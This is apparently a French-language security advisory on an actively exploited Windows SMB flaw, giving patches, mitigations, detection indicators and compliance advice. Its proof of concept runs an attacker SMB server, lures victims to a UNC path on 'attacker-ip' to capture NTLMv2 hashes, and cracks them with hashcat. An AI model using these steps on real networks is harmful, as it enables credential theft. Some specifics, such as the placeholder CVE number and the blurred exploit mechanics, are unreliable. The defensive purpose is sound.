CISA ajoute SMB Windows à vulnérabilités en exploitation active
Le 20 octobre 2025, le CISA (Cybersecurity and Infrastructure Security Agency) a confirmé qu'une vulnérabilité critique du protocole SMB (Server Message Block) de Windows est activement exploitée en attaques.
Gravité : CVE-2025-XXXXX (CVSS 8.5/10)
Risque :
- Authentification SMB bypass possible
- Accès latéral à partages réseau
- Déploiement malware possible
- Affecte 100M+ machines Windows en entreprise
Technique de l'exploit
Vecteur d'attaque
Scénario d'attaque :
1. Attaquant sur réseau LAN (ou compromis via phishing)
2. Envoie requête SMB malformée vers serveur/endpoint Windows
3. Windows SMB client authentifie auprès attaquant (without credential)
4. Attaquant intercepts NTLMv2 hashes
5. Hashes crackés offline (si weak password)
6. Lateral movement avec credentials dumped
Exploitation technique
Proof of Concept (simplifié) :
# 1. Attacker setup SMB server
impacket-smbserver share /tmp/share -username fake -password fake
# 2. Victim machine (via phishing link):
// Victime click link : \\attacker-ip\share\file.exe
// Windows automatically try authenticate (credential delegation)
// Credentials sent to attacker SMB server
# 3. Attacker captures NTLM
# NTLMv2 hash logged :
# user::domain:timestamp:NTLM_RESPONSE:NTLM_RESPONSE
# 4. Crack offline
hashcat -m 5600 captured_hash.txt wordlist.txt
Impact estimé
Systèmes affectés :
- Windows 10 (1909+)
- Windows 11 (all versions)
- Windows Server 2019+
- Enterprise environments : ~60% at risk
Critère activation exploit :
- SMB signing disabled (common)
- Endpoint on same network (LAN)
- User NOT elevated locally (NETWORK user)
Mitigation recommandée
Patch immédiat
Windows 10 :
├─ KB5045221 (released October 2025)
└─ Apply via WSUS or automatic updates
Windows 11 :
├─ KB5045222
└─ Same timeline
Windows Server :
├─ KB5045223 (Server 2019/2022)
└─ Test in lab first, deploy phased
Interim mitigations
1. Enable SMB signing
├─ GPO: Computer Config → Admin Templates → Network → Lanman Workstation
├─ Setting: "Digitally sign communications (always)"
└─ Requires reboot
2. Restrict SMB access
├─ Firewall block port 445 (inter-VLAN if possible)
└─ Segmentation : Isolate sensitive workstations
3. Monitor SMB traffic
├─ Alert on SMB negotiation fails
├─ Track unusual authentication patterns
└─ SIEM rules available from CISA
4. Disable SMB v1 (if not needed)
├─ Modern systems don't require
└─ Legacy systems : Evaluate before disabling
Timeline de réaction recommandée
Within 48 hours :
├─ Audit network for SMB v1 usage
├─ Test patches in dev environment
└─ Communicate patch timeline to teams
Within 1 week :
├─ Deploy patches to high-priority systems
├─ Implement interim controls (signing enabled)
└─ Monitor for exploitation attempts
Within 2 weeks :
├─ Complete enterprise patch deployment
├─ Verify signing enabled on 100% of systems
└─ Review logs for breach evidence
Détection/Forensics
Indicateurs de compromission (IoCs) :
Network :
├─ Unusual SMB negotiation traffic (port 445)
├─ NTLM hash capture patterns
└─ Authentication from unexpected sources
Logs :
├─ Event ID 4625 (failed logon) from SMB activity
├─ Event ID 5140 (network share access)
└─ Unusual pattern : Multiple rapid fails then success
Files :
├─ Recent .exe in shared folders
├─ Suspicious running processes from network paths
└─ Persistence mechanisms (scheduled tasks, registry)
Hunting query (advanced):
Incident response should check :
1. Recent SMB authentication logs (Event 4625/4624)
2. Scripts executed from UNC paths
3. Lateral movement pattern (one host → multiple)
4. Credential dumping tools installed
Pourquoi cette vulnérabilité inquiète les RSSI
La faille touche un protocole utilisé pour presque tous les partages de fichiers Windows. Dans les grandes organisations, il est fréquent que le durcissement SMB soit incomplet sur certains sites ou filiales. Les attaquants exploitent cette surface latérale pour obtenir des identifiants à privilèges puis déployer des ransomwares en quelques heures. Les environnements industriels sont particulièrement exposés : beaucoup de serveurs OT hérités reposent encore sur SMBv1 ou ne supportent pas la signature obligatoire.
Alignement conformité et assurance cyber
- Assurance cyber : plusieurs assureurs exigent désormais la preuve d’une signature SMB activée et de correctifs 30 jours après publication. Ne pas appliquer ces mesures peut conduire à une exclusion de garantie.
- NIS2 et DORA : pour les secteurs régulés (finance, énergie), il est nécessaire de documenter la détection, l’analyse de risque et les mesures compensatoires. Préparez un dossier d’audit récapitulant patchs, segments protégés et plans de continuité.
- Sensibilisation utilisateurs : même si l’exploit cible SMB, l’initial access provient souvent d’un phishing incitant à ouvrir un partage réseau malveillant. Renforcez les campagnes de simulation et vérifiez la configuration des navigateurs pour bloquer l’ouverture automatique de chemins UNC.
Plan d’action post-incidents
Après l’application des correctifs, exécutez une revue complète :
- Inventaire des comptes administrateurs ayant authentifié sur des partages durant la fenêtre d’exposition.
- Analyse des sauvegardes : assurez-vous qu’elles sont immuables et testées afin de répondre à un éventuel chiffrement différé.
- Test de pénétration ciblé : simulez un attaquant interne pour vérifier l’efficacité des nouvelles règles SMB et la réactivité du SOC.
Ressources :
- CISA : https://cisa.gov/known-exploited-vulnerabilities
- Microsoft Security Updates
- SANS Handler Diary (analysis incoming)
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